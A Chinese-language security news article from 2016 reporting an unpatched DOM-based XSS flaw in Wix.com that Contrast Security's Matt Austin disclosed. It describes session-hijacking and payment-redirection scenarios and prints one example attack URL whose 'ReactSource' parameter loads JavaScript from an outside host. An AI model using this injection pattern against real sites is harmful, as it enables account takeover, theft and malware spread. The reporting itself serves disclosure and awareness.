Wix.com存在未及時修復的漏洞將數百萬網站置于危險之中
責編：mhshi ｜2016-11-04 14:25:20基于云的開發平臺Wix.com被曝存在DOM based XSS漏洞，可被攻擊者利用獲取該平臺下任意站點的完全控制權，Wix.com先前就宣稱采用該平臺的用戶大約有8600萬。該漏洞是由Contrast Security高級安全研究工程師Matt Austin公布的。只需要針對Wix平臺的任意站點添加一個參數，攻擊者就能加載其JS代碼。到目前為止Wix.com尚未修復該漏洞。
Web主機云服務提供商Wix.com存在Dom型XSS漏洞，該漏洞可以讓攻擊者控制在該平臺上托管的任何一個網站。
Contrast Security的高級安全研究員Matt Austin表示，“只需要在Wix上創建的網站上添加單個參數，攻擊者可以讓他們的惡意JavaScript代碼在該網站上加載執行?！?/p>
Austin說，盡管早在十月份的時候就已經把漏洞信息向Wix通報，但是截止到本周三這個漏洞仍然沒有被修復。Wix.com也沒有對這個報告發表過任何回復。據Wix.com官方統計，在該平臺共計8600萬用戶。
據OWASP報告顯示，此漏洞不同于傳統的XSS漏洞（payload存儲于一個HTTP(S)請求的響應頁面中），DOM型XSS漏洞通過客戶端腳本修改用戶瀏覽器中文檔對象模型（DOM）環境，并且惡意代碼會影響客戶端代碼的執行。
場景分析
Austin分析了2種反射DOM型XSS漏洞的攻擊場景。其中一種是誘導Wix網站所有者點擊一個惡意的URL鏈接。這個URL會加載一個精心構造的JavaScript代碼劫持受害者瀏覽器的session信息。
隨后攻擊者可以侵占受害者的瀏覽器session，這樣他就可以像原來的用戶那樣，執行任意的操作了。攻擊者可以對受害者原先掌控著的Wix網站進行修改，例如向第三方提供網站管理員的權利，或滲透一個Wix電子商務站點來竊取信用卡號碼。
Austin說，擁有Wix.com站點的管理員控制權限后，就能分發惡意軟件，創建一個動態的、分布式的、基于瀏覽器的僵尸網絡，竊取網絡貨幣，并控制網站的內容和使用它的用戶。
在Austin描述的第二個場景中，可以運用一個精心構造的URL，將用戶誘導進入一個Wix網站。該URL通過一個DOM型的XSS攻擊，將JavaScript加載到目標的Wix.com網站中。在某種情境中，通過瀏覽器的session信息，可以對一個Wix.com的粉絲網站進行修改，從而將音樂下載替換為惡意軟件下載，或者將PayPal支付重新定向到第三方帳戶。
在DOM XSS攻擊的案例中，攻擊者需要做的就是在服務器上布置惡意的JavaScript，并用一個URL指向它。例如：“http：//matt4592.wixsite.com/music?ReactSource=http：//m-austin.com“。在這個例子中，根域名”http：//matt4592.wixsite.com/music”后面嵌入了附加的“?ReactSource=http：//m-austin.com”， 這為基于DOM的XSS攻擊提供有效載荷創造了條件。
后記
Contrast Security表示，更糟糕的是，利用這種缺陷，網絡罪犯可以對攻擊進行擴張，把它變成一個蠕蟲，從而在所有的Wix網站中傳播，這將類似于2005年時臭名昭著的Samy蠕蟲和MySpace蠕蟲——被設計用來針對整個社交網站。
Austin說，前車之鑒告訴我們，想要接管托管在Wix的數以百萬計的網站，其實并不需要花太長的時間。
來源：安全客（http://m.bobao.360.cn/news/detail/3714.html）